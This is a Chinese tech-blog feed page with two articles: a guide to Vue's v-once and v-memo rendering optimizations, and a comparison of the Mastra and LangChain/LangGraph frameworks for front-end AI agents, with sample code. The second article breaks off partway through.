普通视图

发现新文章,点击刷新页面。
今天 — 2026年3月16日技术

v-once和v-memo完全指南:告别不必要的渲染,让应用飞起来

作者 wuhen_n
2026年3月16日 09:10

前言

在日常开发中,我们可能遇到过这样的情况:写了一个 Vue 应用,数据量稍微大一点,页面就开始卡顿;用户只是点击了一个按钮,整个页面都要重新渲染;明明大部分内容都没变,却感觉应用像“老了十岁”一样慢。这是为什么呢?

Vue 的响应式系统很智能,但它也有“过度反应”的时候。就像我们只是拍了拍桌子,整个办公室的人都站起来看看发生了什么——这显然是一种浪费。

v-oncev-memo 就是来解决这个问题的。它们像两个聪明的“保安”,告诉 Vue:“这部分内容不用每次都检查,它没变” 和 “这部分内容只有在特定条件变化时才需要检查”。

本文将从最基础的概念讲起,用最通俗的语言,配合完整的代码示例,帮助我们彻底掌握这两个性能优化神器。

为什么要关注不必要的渲染

从一个简单的例子开始

我们先来看一个简单的例子:

<template>
  <div>
    <!-- 动态内容:会变化 -->
    <h2>当前计数:{{ count }}</h2>
    <button @click="count++">点我增加</button>
    
    <!-- 静态内容:永远不会变 -->
    <footer>
      <p>© 2026 我的公司. 版权所有</p>
      <p>联系方式:contact@example.com</p>
      <p>地址:xxx</p>
    </footer>
  </div>
</template>

<script setup>
import { ref } from 'vue'
const count = ref(0)
</script>

这段代码看起来没什么,但实际上会发生了什么呢?

每次点击按钮是,count 都会变化,整个组件都会重新渲染。包括那个 永远不会变 的页脚。

虽然 Vue 的虚拟 DOM 会最终发现页脚没变,不会更新真实的 DOM,但这个过程仍然需要:

  • 执行渲染函数
  • 创建新的虚拟 DOM
  • 和旧的虚拟 DOM 进行对比
  • 确认没有变化,跳过更新

这就像我们每天早上去公司,尽管保安每天都会看到我们,但他们仍然每天都要重新核对我们的身份信息,这是一种不必要的浪费。

Vue 的默认更新机制

响应式数据变化
    ↓
组件重新渲染函数执行
    ↓
生成新的虚拟 DOM 树
    ↓
与旧虚拟 DOM 进行 diff 比较
    ↓
计算出需要更新的真实 DOM
    ↓
执行 DOM 更新

不必要的渲染有多"贵"?

我们先看一段数据:

组件规模 一次不必要的渲染耗时 每天10万次操作 额外开销
小型组件(50个节点) 0.5ms 50,000ms 50秒
中型组件(200个节点) 2ms 200,000ms 3.3分钟
大型组件(1000个节点) 10ms 1,000,000ms 16.7分钟

想象一下,用户每天要多等十几分钟,就因为应用在“瞎忙活”。

什么是不必要的渲染?

简单来说就是:渲染的结果和上一次 完全一样,但过程却重复执行了。

// 这是一个"不必要的渲染"的典型案例
const App = {
  template: `
    <div>
      <!-- 这部分每次都会重新计算,但结果永远一样 -->
      <div>{{ getStaticData() }}</div>
      
      <!-- 这部分确实需要更新 -->
      <div>{{ dynamicData }}</div>
    </div>
  `,
  
  methods: {
    getStaticData() {
      console.log('我被调用了!') // 其实只需要调用一次
      return '永远不变的内容'
    }
  }
}

问题:即使大部分内容没变,渲染函数仍会执行,虚拟 DOM 树仍会创建,diff 算法仍需遍历。

v-once:一次渲染,终身躺平

v-once 是什么?

v-once 是 Vue 提供的一个指令,它的作用就像它的名字一样:只渲染一次。之后无论数据怎么变化,这部分内容都不会再更新。

用生活化的比喻理解v-once

想象一下,我们正在装修房子:

  • 普通渲染:每天都要重新粉刷一遍墙壁,尽管颜色没变
  • v-once 渲染:装修一次,以后再也不动它

v-once 的基本用法

<template>
  <div>
    <!-- 普通内容:每次count变化都会更新 -->
    <p>当前计数:{{ count }}</p>
    
    <!-- v-once内容:只渲染一次,之后永远不变 -->
    <p v-once>初始计数:{{ count }}</p>
    
    <button @click="count++">增加计数</button>
  </div>
</template>

<script setup>
import { ref } from 'vue'
const count = ref(0)
</script>

运行效果

  • 首次加载:两个都显示“0”
  • 点击按钮:上面变成“1”,下面还是“0”
  • 继续点击:上面一直变,下面永远是“0”

v-once的工作原理

让我们用流程图来理解:

首次渲染
    ↓
遇到 v-once 指令
    ↓
正常渲染内容
    ↓
将生成的虚拟DOM缓存起来
    ↓
打上"静态标记"
    ↓
─────────────────
    ↓
后续更新时
    ↓
遇到 v-once 标记
    ↓
直接返回缓存的虚拟DOM
    ↓
跳过所有更新逻辑

v-once 的实现机制

// 简化版的 v-once 实现原理
function processOnceNode(vnode) {
  if (vnode.shapeFlag & ShapeFlags.COMPONENT_ONCE) {
    // 如果是组件,标记为静态组件
    vnode.isStatic = true
    return vnode
  }
  
  // 如果是元素,创建静态节点
  const staticNode = createStaticVNode(
    vnode.children,
    vnode.props
  )
  
  // 后续更新直接返回缓存的静态节点
  return staticNode
}

v-once 的适用场景

场景一:页脚版权信息等纯静态内容

<!-- 页脚版权信息,永远不变 -->
<footer v-once>
  <p>© 2026 我的公司. All rights reserved.</p>
  <p>ICP备案号:xxxxx</p>
  <div class="contact">
    <p>邮箱:contact@example.com</p>
    <p>电话:400-123-4567</p>
  </div>
</footer>

场景二:一次性初始数据

<template>
  <div class="user-profile">
    <!-- 用户 ID 只在创建时显示,后续不变 -->
    <div v-once class="user-meta">
      <span>用户ID:{{ userId }}</span>
      <span>注册时间:{{ registerDate }}</span>
      <span>会员等级:{{ initialLevel }}</span>
    </div>
    
    <!-- 动态更新的内容 -->
    <div class="user-points">
      当前积分:{{ points }}
      <button @click="points++">签到</button>
    </div>
  </div>
</template>

场景三:复杂的静态组件

<template>
  <div class="dashboard">
    <!-- 左侧:帮助文档组件,完全静态,只需加载一次 -->
    <HelpDocumentation v-once class="sidebar" />
    
    <!-- 右侧:动态更新的内容 -->
    <div class="main-content">
      <DashboardCharts :data="liveData" />
      <RealTimeLogs :logs="systemLogs" />
    </div>
  </div>
</template>

场景四:与 v-for 配合优化列表

<template>
  <div class="data-table">
    <!-- 表格头部完全静态 -->
    <div v-once class="table-header">
      <div class="col">姓名</div>
      <div class="col">年龄</div>
      <div class="col">部门</div>
      <div class="col">操作</div>
    </div>
    
    <!-- 动态列表项 -->
    <div v-for="item in list" :key="item.id" class="table-row">
      <div class="col">{{ item.name }}</div>
      <div class="col">{{ item.age }}</div>
      <div class="col">{{ item.department }}</div>
      <div class="col">
        <button @click="edit(item.id)">编辑</button>
      </div>
    </div>
  </div>
</template>

v-once 的使用注意事项

注意事项 说明 示例
失去响应性 v-once 内的所有数据绑定都变成静态,不再响应更新 <div v-once>{{ count }}</div> 永远不会更新
子树全静态 v-once 作用于元素时,其所有子元素也变为静态 整个组件树都会静态化
避免滥用 只在真正不需要更新的地方使用,否则会导致数据和视图不一致 动态内容不能用 v-once
组件中使用 组件上加 v-once,整个组件只会渲染一次 <ComplexChart v-once />

v-once 性能收益实测

测试环境

  • 页面包含 200 个静态节点
  • 每秒触发 10 次更新
  • 运行 60 秒
指标 未优化 使用 v-once 提升
渲染函数调用次数 60,000 次 600 次 99%
虚拟 DOM 创建 60,000 次 600 次 99%
内存分配 850MB 85MB 90%
CPU 使用率 65% 8% 88%
平均帧率 45fps 60fps 33%

v-memo:有条件地记忆渲染

为什么要 v-memo?

v-once 虽然好,但它的缺点也很明显:要么永远更新,要么永远不更新。现实开发中,我们经常遇到这样的情况:

  • 列表项的大部分内容稳定,但少数字段会变
  • 组件的大部分数据不变,但需要响应某些特定变化

这时候就需要 v-memo 了。

v-memo 是什么?

v-memo 是 Vue 3.2+ 引入的新指令,它可以接受一个依赖数组,只有当数组中的值变化时,才会重新渲染。

用生活化的比喻理解 v-memo

想象一下,我们在公司里:

  • 普通员工:领导一喊,所有人都站起来(不管是不是叫自己)
  • v-memo 员工:只有听到自己名字才站起来

v-memo的基本用法

<template>
  <div 
    v-for="item in items" 
    :key="item.id"
    v-memo="[item.id, item.price, item.stock]"
  >
    <!-- 只有当 item.id、item.price 或 item.stock 变化时才重新渲染 -->
    <h3>{{ item.name }}</h3>
    <p>价格:{{ item.price }}</p>
    <p>库存:{{ item.stock }}</p>
    <button @click="toggleFavorite(item.id)">
      {{ item.isFavorite ? '取消收藏' : '收藏' }}
    </button>
  </div>
</template>

v-memo的工作原理

让我们用流程图来理解:

首次渲染
    ↓
计算依赖数组的值
    ↓
缓存这些值和生成的虚拟DOM
    ↓
─────────────────
    ↓
后续更新触发
    ↓
重新计算依赖数组的新值
    ↓
和缓存的值比较
    ↓
有变化?→ 是 → 重新渲染,更新缓存
    ↓       
    否
    ↓
直接返回缓存的虚拟DOM
    ↓
跳过所有更新逻辑

v-memo 工作机制的三阶段

1. 依赖收集阶段

  • 编译时解析依赖数组
  • 建立响应式依赖图谱
  • 为每个节点创建 memo 缓存

2. 缓存对比阶段

  • 重新渲染前计算依赖数组的新值
  • 与缓存的上次值进行浅比较
  • 若未变化 → 直接复用缓存的 VNode 树
  • 若已变化 → 重新生成 VNode 并更新缓存

3. 虚拟 DOM 跳过

  • 完全跳过该节点的 diff 计算
  • 不触发子树的渲染函数
  • 直接复用真实 DOM

v-memo的实战场景

场景一:超大规模商品列表

想象一个电商网站的商品列表,有1万件商品:

<template>
  <div class="product-list">
    <div 
      v-for="product in products" 
      :key="product.id"
      v-memo="[
        product.id, 
        product.price, 
        product.stock, 
        product.isFavorite
      ]"
      class="product-item"
    >
      <img :src="product.image" :alt="product.name" />
      <h3>{{ product.name }}</h3>
      <p class="price">¥{{ product.price }}</p>
      <p class="stock">库存: {{ product.stock }}件</p>
      <p class="sales">销量: {{ product.sales }}件</p>
      <p class="rating">评分: {{ product.rating }}分</p>
      <button 
        @click="toggleFavorite(product.id)"
        :class="{ active: product.isFavorite }"
      >
        {{ product.isFavorite ? '已收藏' : '收藏' }}
      </button>
    </div>
  </div>
</template>

<script setup>
import { ref } from 'vue'

// 生成1万件商品
const products = ref(
  Array.from({ length: 10000 }, (_, i) => ({
    id: i,
    name: `商品 ${i}`,
    price: Math.floor(Math.random() * 1000),
    stock: Math.floor(Math.random() * 100),
    sales: Math.floor(Math.random() * 1000),
    rating: (Math.random() * 5).toFixed(1),
    image: `https://picsum.photos/200/150?random=${i}`,
    isFavorite: false
  }))
)

function toggleFavorite(id) {
  const product = products.value.find(p => p.id === id)
  product.isFavorite = !product.isFavorite
  // ✅ 只有被点击的那一项会重新渲染
}
</script>

优化效果:

  • 用户点击收藏时,只有被点击的商品重新渲染
  • 后台更新价格时,只有价格变化的商品重新渲染
  • 其他 9999 件商品完全不动

场景二:复杂计算缓存

<template>
  <div class="dashboard">
    <!-- 只有当原始数据或用户设置变化时才重新计算 -->
    <div 
      class="dashboard-content"
      v-memo="[rawData.version, userSettings.theme]"
    >
      <DashboardHeader />
      
      <!-- 这里的数据需要复杂计算 -->
      <DataVisualization :data="processedData" />
      <StatsCards :stats="computedStats" />
      <ActivityChart :chart-data="chartData" />
    </div>
  </div>
</template>

<script setup>
import { ref, computed } from 'vue'

const rawData = ref(fetchData()) // 10MB的原始数据
const userSettings = ref({ theme: 'light', language: 'zh' })

// 复杂计算:处理10MB数据
const processedData = computed(() => {
  console.log('正在处理数据...') // 我们希望这个不要频繁执行
  return rawData.value.map(item => ({
    ...item,
    processed: heavyComputation(item)
  }))
})

// 当用户切换主题时,不应该重新计算processedData
// 但上面的v-memo确保了这一点:只有rawData.version或userSettings.theme变化时才重新渲染
</script>

场景三:聊天消息列表

<template>
  <div class="chat-messages">
    <div 
      v-for="msg in messages" 
      :key="msg.id"
      v-memo="[msg.id, msg.content, msg.timestamp, msg.isRead]"
      class="message"
      :class="{ 'message-self': msg.senderId === currentUserId }"
    >
      <img :src="msg.avatar" class="avatar" />
      <div class="content">
        <div class="sender">{{ msg.senderName }}</div>
        <div class="text">{{ msg.content }}</div>
        <div class="time">{{ formatTime(msg.timestamp) }}</div>
      </div>
      <div class="status">
        <span v-if="msg.isRead">已读</span>
        <span v-else-if="msg.isSending">发送中...</span>
        <span v-else-if="msg.isFailed">发送失败</span>
      </div>
    </div>
  </div>
</template>

<script setup>
const messages = ref([])

// 新消息到来时,只有新消息会渲染
// 已读状态变化时,只有那条消息会更新
// 其他消息完全不动
</script>

场景四:选中状态高亮

<template>
  <div class="image-gallery">
    <div 
      v-for="image in images" 
      :key="image.id"
      v-memo="[selectedId === image.id]"
      class="image-item"
      :class="{ selected: selectedId === image.id }"
      @click="selectedId = image.id"
    >
      <img :src="image.thumbnail" :alt="image.title" />
      <div class="overlay">
        <h4>{{ image.title }}</h4>
        <button @click.stop="download(image.id)">下载</button>
      </div>
    </div>
  </div>
</template>

<script setup>
const selectedId = ref(null)

// 点击时,只有之前选中的和当前选中的两个图片会重新渲染
// 其他9998张图片完全不动
</script>

v-memo 依赖项选择的黄金法则

  • 精准包含:只放那些真正会影响渲染的字段
  • 避免冗余:不要把整个对象放进去
  • 稳定依赖:不要用 Date.now() 这种每次都变的值
  • 版本控制:复杂对象可以用版本号

选择决策树

graph TD
    Start[遇到一个组件/元素] --> Question1{内容永远不变吗?}
    Question1 -->|是| A[用 v-once]
    Question1 -->|否| Question2{是长列表?<br>(>500项)}
    
    Question2 -->|否| B[暂时不需要优化]
    Question2 -->|是| Question3{更新频率高吗?}
    
    Question3 -->|低| C[保持现状]
    Question3 -->|高| Question4{能否精确控制更新?}
    
    Question4 -->|否| D[考虑虚拟滚动]
    Question4 -->|是| E[用 v-memo 精确优化]

v-once vs v-memo,如何选择?

特性对比表

对比维度 v-once v-memo
适用版本 Vue 2+ Vue 3.2+
更新策略 永不更新 条件更新
依赖声明 显式数组
学习难度 ⭐⭐⭐
适用场景 纯静态内容 大部分稳定的动态内容
代码侵入性

组合使用示例

<template>
  <div class="app">
    <!-- 1. 完全静态的头部 -->
    <header v-once>
      <AppLogo />
      <AppTitle />
      <NavigationMenu />
    </header>
    
    <!-- 2. 动态列表,但有条件更新 -->
    <div class="content">
      <div 
        v-for="item in items" 
        :key="item.id"
        v-memo="[item.id, item.updatedAt]"
      >
        <!-- 2.1 每个列表项内部的静态部分 -->
        <div v-once class="item-static">
          <img :src="item.avatar" />
          <span>ID: {{ item.id }}</span>
        </div>
        
        <!-- 2.2 每个列表项内部的动态部分 -->
        <div class="item-dynamic">
          <h3>{{ item.title }}</h3>
          <p>{{ item.content }}</p>
          <span>点赞: {{ item.likes }}</span>
        </div>
      </div>
    </div>
    
    <!-- 3. 完全静态的页脚 -->
    <footer v-once>
      <Copyright />
      <ContactInfo />
    </footer>
  </div>
</template>

性能收益对比

场景 优化前 v-once v-memo
静态页脚 每次更新都渲染 0次更新 不适用
收藏按钮点击 整个列表重绘 不适用 只更新单个项
价格批量更新 整个列表重绘 不适用 只更新价格变化项
列表项1000条 120ms 不适用 35ms

常见陷阱与解决方案

v-memo 依赖遗漏

<!-- ❌ 错误:遗漏了关键依赖 -->
<div 
  v-for="item in items"
  v-memo="[item.id]"
>
  {{ item.name }}  <!-- 当name变化时,这里不会更新! -->
  <span :class="{ active: item.isActive }">
    {{ item.status }}
  </span>
</div>

<!-- ✅ 正确:包含所有依赖 -->
<div 
  v-for="item in items"
  v-memo="[item.id, item.name, item.isActive, item.status]"
>
  {{ item.name }}
  <span :class="{ active: item.isActive }">
    {{ item.status }}
  </span>
</div>

在错误的位置使用 v-memo

<!-- ❌ 错误:在父容器上使用v-memo -->
<ul v-memo="[items.length]">
  <li v-for="item in items" :key="item.id">
    {{ item.name }}
  </li>
</ul>
<!-- 结果:items.length不变时,整个列表都不更新 -->
<!-- 但item.name变化时也不会更新! -->

<!-- ✅ 正确:在v-for的项上使用 -->
<ul>
  <li 
    v-for="item in items" 
    :key="item.id"
    v-memo="[item.id, item.name]"
  >
    {{ item.name }}
  </li>
</ul>

滥用v-once导致bug

<!-- ❌ 错误:动态内容用了v-once -->
<div v-once>
  <h3>当前用户:{{ username }}</h3>  <!-- 永远不会更新! -->
  <button @click="logout">退出登录</button>
</div>

<!-- ✅ 正确:只静态化真正静态的部分 -->
<div>
  <h3>当前用户:{{ username }}</h3>  <!-- 动态 -->
  <div v-once>操作面板</div>  <!-- 静态 -->
  <button @click="logout">退出登录</button>  <!-- 动态 -->
</div>

最佳实践清单

什么时候用 v-once?

  • 版权信息、页脚
  • 表格表头
  • 静态导航菜单
  • 一次性初始数据
  • 复杂的静态组件(帮助文档、使用说明)

什么时候用 v-memo?

  • 超长列表(>500项)
  • 高频更新的区域隔离
  • 选中状态切换
  • 复杂计算的缓存
  • 聊天消息列表

优化检查清单

  • v-memo 的依赖数组包含了所有影响渲染的字段
  • 避免在 v-memo 中使用 Date.now()Math.random()
  • v-memo 正确放在 v-for 的项上,而不是父容器
  • v-once 只用于真正静态的内容
  • 组合使用时逻辑清晰
  • 用性能工具验证了优化效果

性能优化的哲学

  1. 优化不是炫技:用数据和用户体感说话
  2. 适度原则:不是所有地方都需要优化
  3. 持续演进:性能优化是过程,不是终点
  4. 量化的力量:没有数据的优化是盲目的

结语

v-oncev-memo 是 Vue 提供的两个强大的优化工具,但它们不是银弹。真正的性能优化,是在理解业务场景的基础上,选择合适的技术,验证优化效果,持续改进的过程。让该更新的更新,该躺平的躺平,这才是 Vue 性能优化的真谛!

对于文章中错误的地方或有任何疑问,欢迎在评论区留言讨论!

2026 年前端 Agent 框架选型:Mastra 与 LangChain 该怎么选

作者 Moment
2026年3月16日 09:06

我正在开发 DocFlow,它是一个完整的 AI 全栈协同文档平台。该项目融合了多个技术栈,包括基于 Tiptap 的富文本编辑器、NestJs 后端服务、AI 集成功能和实时协作。在开发过程中,我积累了丰富的实战经验,涵盖了 Tiptap 的深度定制、性能优化和协作功能的实现等核心难点。

如果你对 AI 全栈开发、Tiptap 富文本编辑器定制或 DocFlow 项目的完整技术方案感兴趣,欢迎加我微信 yunmz777 进行私聊咨询,获取详细的技术分享和最佳实践。

如果你对 AI全栈 感兴趣,也欢迎添加我微信,我拉你进交流群

2026 年的前端圈卷出了新高度,AI Agent 已是各类 Web 应用的标配。官网智能客服、内部任务助手、产品内的搜索与推荐,都绕不开一件事:用哪个框架把大模型和工具串起来。不少团队会在 LangChain.js 和 Mastra 之间反复纠结,架构评审时也常为此争论。

两者没有绝对优劣,差别主要在"设计哲学"和"业务场景"的匹配度。Mastra 像为前端量身定制的厨师刀,刀刃顺手、切菜切肉都轻松;LangChain.js(尤其是 LangGraph.js)则像重型瑞士军刀,刀锯镊子开瓶器齐全,能应付各种复杂场景,代价是重量和复杂度都更高。下文从 2026 年技术生态出发做一次对比,并配上代码与图示,方便你理清思路、少走弯路。

为什么前端选型会卡在这两个框架上

前端接大模型、做 Agent,本质是三件事:把用户输入送给 LLM、根据输出决定下一步(是否调工具、是否多轮对话)、再把结果还给用户。不同框架在这三条链路上的抽象程度和侧重点差异很大。一类把"循环调工具、拼消息"全包在内部,对外只暴露"发消息、拿回复",你几乎不用关心内部调了几轮工具;另一类把节点、边、状态都暴露给你,自己搭图,灵活性高,但概念和代码量都上去,得先建立"图"的思维才能写得顺手。

LangChain 从 Python 生态长出来,后有 langchain-js,再后来复杂编排催生了 LangGraph,面向任意语言和部署环境的通用编排,概念多、集成广,前端只是消费端之一。文档里会反复出现 Runnables、LCEL、RunnableSequence、RunnablePassthrough 以及各种 @langchain/xxx 包,学习路径会先经过"什么是 Runnable、reducer、checkpointer"这一串概念。Mastra 则从 TypeScript 和现代前端框架出发,默认你在用 Next.js、Nuxt 等全栈框架,API 和类型系统都围着前端习惯转,包名和概念更收敛,文档集中在"在 React、Server Actions 里怎么用",很少逼你先学一整套编排术语。

选型归根结底就两点:团队和产品更接近"通用 AI 编排"还是"前端优先的轻量 Agent"。前者偏向后端或全栈做复杂系统,愿意为灵活性和生态付学习成本;后者偏向前端或小团队在现有 Web 应用里快速接一层智能,希望少概念、少依赖、快上线。

如下图所示。

20260314114857

两种哲学一目了然:一侧是前端优先的轻量体验,一侧是通用编排与生态。

Mastra 的定位与优势

Mastra 从诞生起就面向 TypeScript 和现代前端框架(Next.js、Nuxt 等),针对前端痛点,主打开发者体验(DX)。

TypeScript 原生与类型安全

端到端类型推导做得很好:Agent 的输入、输出和工具调用参数在 IDE 里都有完整类型提示和自动补全,不必手写类型转换或 as 断言。工具用 zod 或 TypeScript 类型定义入参,框架自动生成模型可用的 schema 并做运行时校验。例如在 createTool 里写 inputSchema: z.object({ location: z.string() }),调用时入参即被推断为 { location: string },返回值与 outputSchema 对齐,和现有基于 zod 的表单校验、API 契约也容易打通。

轻量且贴合全栈框架

部署在 Vercel、Cloudflare Workers 等 Serverless 或 Edge 上时,Mastra 的冷启动和边缘兼容性通常更好。没有 LangChain 那套 Runnables、LCEL 等抽象层,依赖树干净,打包体积可控,不必为"跑通一个带工具的 Agent"拉满 @langchain/core@langchain/openai@langchain/langgraph 等一长串包。在 Next.js 的 Server Action、Route Handler 里直接调 Mastra Agent,心智负担小,和现有数据流(表单、状态、API)易对齐,也方便和 React Server Components、流式 SSR 配合。

心智负担低

API 贴近前端数据流直觉:发一段消息、拿一段回复、必要时调几个工具。Mastra 把 LLM 调度、工具解析和流式输出包起来,用简单异步函数或 React 友好接口暴露,不必理解"图、节点、条件边、reducer",会写 createToolnew Agent、会调 generate 或流式方法就能跑通,适合作为团队第一个 Agent 项目的起点。

适合的场景小结

Mastra 特别适合这几类情况:

  • Agent 主要是 Web 应用的辅助功能(智能搜索、客服助手、简单数据总结或表单建议),且深度绑定 Next.js、React 生态。
  • 团队以前端或全栈为主,不想引入过重后台架构,希望快速迭代上线,同时要类型安全和良好调试体验。
  • 对依赖体积、冷启动和 Edge 兼容性敏感,不想为用不到的能力背上整座 LangChain 生态。

LangChain.js 与 LangGraph 的定位与优势

到 2026 年,单纯用 LangChain 搞复杂 Agent 已不够用,实际在评估的往往是 LangGraph.js,它是处理复杂、有状态、多 Agent 协作时的常用方案。

生态系统覆盖广

冷门向量库、大模型厂商、各种外部 API,LangChain 生态里大多已有现成集成。Pinecone、Weaviate、Qdrant、Chroma、自建 REST、OpenAI、Anthropic、Cohere、国产大模型,以及 Tavily、SerpAPI 等,多数有官方或社区的 @langchain/xxx 包。公司内有老旧系统、私有模型或特定协议时,也容易在现有集成上做薄封装,复用 LangChain 的 Runnable、消息格式和工具约定,快速对接大量外部依赖时能省下不少适配和调试时间。

状态机与图逻辑(LangGraph)

需要"循环思考、多路分支、人类介入(Human-in-the-loop)"的复杂工作流时,LangGraph 的图架构能精确控制节点流转。节点是处理单元(一次 LLM 调用、工具执行或人工审核),边是状态转移(固定边或条件边)。状态可持久化到 checkpointer,刷新或断线重连后从断点继续,适合多轮任务和多人协作,也是 Mastra 目前不直接提供的部分。

过度抽象的代价

学习曲线陡:Runnables、Chains、Tools、Nodes、Edges、Annotation、reducer、checkpointer 等概念交织,新手易迷路。实现"用户问一句、模型调一次工具再回答"这种简单功能,也要先理解状态结构、写 agent 与 tools 节点、配条件边和普通边再 compile,代码量明显多于"Agent 配置 + 一次 generate"。报错常来自链式调用的某一层,堆栈里是 LangChain 内部的 Runnable 名,前端背景的开发者需要时间习惯"从图的角度想问题"。LangGraph 的 TypeScript 类型虽完整,但状态是运行时用 Annotation 和 reducer 拼出来的,和 Mastra 那种"工具入参即 zod schema、一眼能看出类型"的体验比,心智负担更大。

适合的场景小结

LangChain、LangGraph 更适合这几类情况:

  • 核心业务就是复杂 AI 系统:多 Agent 协作、长时运行异步任务、或需精准控制"思考中断与恢复"。
  • 集成需求多且杂,要接内部老旧系统或非常小众的向量库、模型接口。
  • 要对底层 Prompt、重试、记忆(Memory)做深度定制,甚至改框架默认行为。

核心能力对比

用一张表概括两个方向在关键维度上的差异,细节在前后文展开。

维度 Mastra LangChain.js / LangGraph
设计核心 极致 DX、原生 TS、轻量化 复杂编排、状态管理、大生态
学习曲线 平缓,熟悉 TS 即可快速上手 陡峭,需理解大量框架专属概念
调试体验 堆栈清晰,贴合前端习惯 多层抽象,报错有时难以定位
多 Agent 支持,更适合简单链式交互 极强,循环与状态打断控制完善
生态与集成 精选集成,覆盖主流工具 海量集成,几乎覆盖常见基础设施
依赖与体积 包少、体积小,Edge 友好 多包组合,体积与冷启动略大

Mastra 通常只需 @mastra/core 加模型适配(如 OpenAI),LangChain 则常需 @langchain/core@langchain/openai(或其它模型包)、@langchain/langgraph,再接向量库或 RAG 还会多几个包,在 Serverless 冷启动和 Edge 里更敏感一些。

如下图所示。

20260314115005

从设计重心到依赖体积,一张图能看清两边差异。下面用两段代码对比同一需求的实现方式,再给出选型决策说明。

用代码感受两种 API 风格

同一需求"做一个能查天气的对话 Agent",在 Mastra 和 LangGraph 里写出来的代码量和抽象层次差很多,看一遍再想选型会直观不少。

Mastra:工具 + Agent 几行搞定

在 Mastra 里用 createTool 定义工具的入参(zod)、描述和执行函数,创建 Agent 时把工具挂上去即可。调用时直接 agent.generate() 或流式接口,不用关心"模型要不要调工具、调完要不要再推理",框架内部处理。

下面示例定义了一个查天气工具和一个使用该工具的 Agent。工具入参用 z.object 声明,execute 的返回值与 outputSchema 一致,整条链路在 IDE 里都有类型推导。示例使用 OpenAI 当前主力模型 gpt-5.4,实际项目里可通过环境变量配置 API Key。

import { createTool } from "@mastra/core/tools";
import { Agent } from "@mastra/core/agent";
import { z } from "zod";

const getWeather = createTool({
  id: "get_weather",
  description: "根据城市名称查询当前天气,适合回答天气相关提问",
  inputSchema: z.object({
    location: z.string().describe("城市名称,如北京、上海"),
  }),
  outputSchema: z.object({ summary: z.string(), temp: z.number().optional() }),
  execute: async ({ location }) => {
    // 实际项目里这里调和风、OpenWeather 等 API
    return { summary: `${location} 晴`, temp: 22 };
  },
});

const weatherAgent = new Agent({
  id: "weather-agent",
  name: "天气助手",
  instructions: "你是天气助手,用 get_weather 查天气并简洁回复用户。",
  model: "openai/gpt-5.4",
  tools: { getWeather },
});

// 在 Next.js Route Handler 或 Server Action 里直接调用
const result = await weatherAgent.generate("北京今天天气怎么样?");
console.log(result.text);

在 Next.js 的 Route Handler 里暴露成 API 时,导入 weatherAgent,对请求体里的消息调 generate 或流式方法即可,不必再写状态机或图。

LangGraph:显式建图与状态

在 LangGraph 里,要先定义状态结构(例如消息列表)、再定义"agent"节点(调用模型、可能产生 tool_calls)和"tools"节点(执行工具并返回 ToolMessage),最后用边把节点串起来,并加上"是否继续调工具"的条件边。模型用 LangChain 的 ChatOpenAI 接 OpenAI 最新模型,工具用 bindTools 绑定,循环由图的拓扑自然形成。

下面这段示例用 StateGraph 定义了一个单 Agent、带一个天气工具的最小图。状态里只有 messages,agent 节点读最后一条用户消息并调用模型,若返回 tool_calls 则路由到 tools 节点,执行完再回到 agent,直到模型不再调工具为止。可与上面 Mastra 示例对照,体会"图"和"状态"的显式写法。

import { StateGraph, Annotation, END } from "@langchain/langgraph";
import { ChatOpenAI } from "@langchain/openai";
import { tool } from "@langchain/core/tools";
import { z } from "zod";
import { HumanMessage, AIMessage, BaseMessage } from "@langchain/core/messages";
import { ToolNode } from "@langchain/langgraph/prebuilt";

const model = new ChatOpenAI({
  model: "gpt-5.4",
  apiKey: process.env.OPENAI_API_KEY,
});

const getWeather = tool(
  async (input: { location: string }) => `${input.location} 晴,22℃`,
  {
    name: "get_weather",
    description: "根据城市名称查询当前天气",
    schema: z.object({ location: z.string() }),
  },
);

const modelWithTools = model.bindTools([getWeather]);
const toolNode = new ToolNode([getWeather]);

const AgentState = Annotation.Root({
  messages: Annotation<BaseMessage[]>({
    reducer: (left, right) => left.concat(right),
    default: () => [],
  }),
});

async function agentNode(state: typeof AgentState.State) {
  const response = await modelWithTools.invoke(state.messages);
  return { messages: [response as AIMessage] };
}

function shouldContinue(state: typeof AgentState.State): "tools" | "end" {
  const last = state.messages[state.messages.length - 1] as AIMessage;
  return last.tool_calls?.length ? "tools" : "end";
}

const graph = new StateGraph(AgentState)
  .addNode("agent", agentNode)
  .addNode("tools", toolNode)
  .addEdge("tools", "agent")
  .addConditionalEdges("agent", shouldContinue, { tools: "tools", end: END })
  .compile();

const result = await graph.invoke({
  messages: [new HumanMessage("北京今天天气怎么样?")],
});
console.log(result.messages[result.messages.length - 1]);

同样实现"用户问天气、模型调工具、再回复":Mastra 是"Agent + tools 配置 + 一次 generate",LangGraph 是"状态注解 + 两节点 + 条件边 + compile"。前者适合快速落地和前端集成,后者适合加人工审核、多 Agent 分支、断点续跑等复杂控制。示例中 LangGraph 使用 gpt-5.4,API Key 建议从环境变量 OPENAI_API_KEY 读取。

选型决策思路

可以按"产品形态、团队基因、集成与定制需求"三条线问自己,再对照上文对比。决策主线就一条:先看 Agent 是"应用的核心"还是"应用里的辅助能力"。核心场景(多 Agent、长任务、状态中断与恢复、大量冷门集成或深度定制)更倾向 LangGraph;辅助能力(Next/React 为主、快速迭代、极重 TypeScript 与 DX)更倾向 Mastra。不必二选一,也可以简单对话用 Mastra、复杂管线用 LangGraph,按模块边界拆。

如下图所示。

20260314115134

从"核心还是辅助"出发,到倾向 LangGraph 或 Mastra(或两者组合)的决策路径。

更偏向选 Mastra 的情况

  • 产品形态上,Agent 主要作为 Web 应用的辅助功能(智能搜索、客服助手、简单数据总结等),且深度绑定 Next.js、React 生态。
  • 团队以前端、全栈为主,不想引入过重的后台架构,希望快速迭代、快速上线。
  • 你非常看重 TypeScript 的类型安全和开发体验,对臃肿依赖和难以排查的报错比较排斥。

更偏向选 LangChain / LangGraph 的情况

  • 产品形态上,核心业务就是一个复杂的 AI 系统,例如多 Agent 协作、长时间运行的异步任务、或需要精准控制思考中断与恢复。
  • 集成需求多且杂,需要连接内部各种老旧系统,或使用非常小众的向量数据库、模型接口。
  • 需要对底层 Prompt、重试、Memory 等做深度定制,甚至改动框架默认行为。

结合业务场景做更细的取舍

光看框架特性不够,最终要落到"这个 Agent 具体负责什么"上。下面四类典型场景方便对号入座,每类对应不同复杂度和集成需求,选错框架要么大材小用,要么后期自己造轮子。

如下图所示。

20260314115312

四类场景与推荐方向的对应关系。

场景一:官网或产品里的智能客服、搜索建议

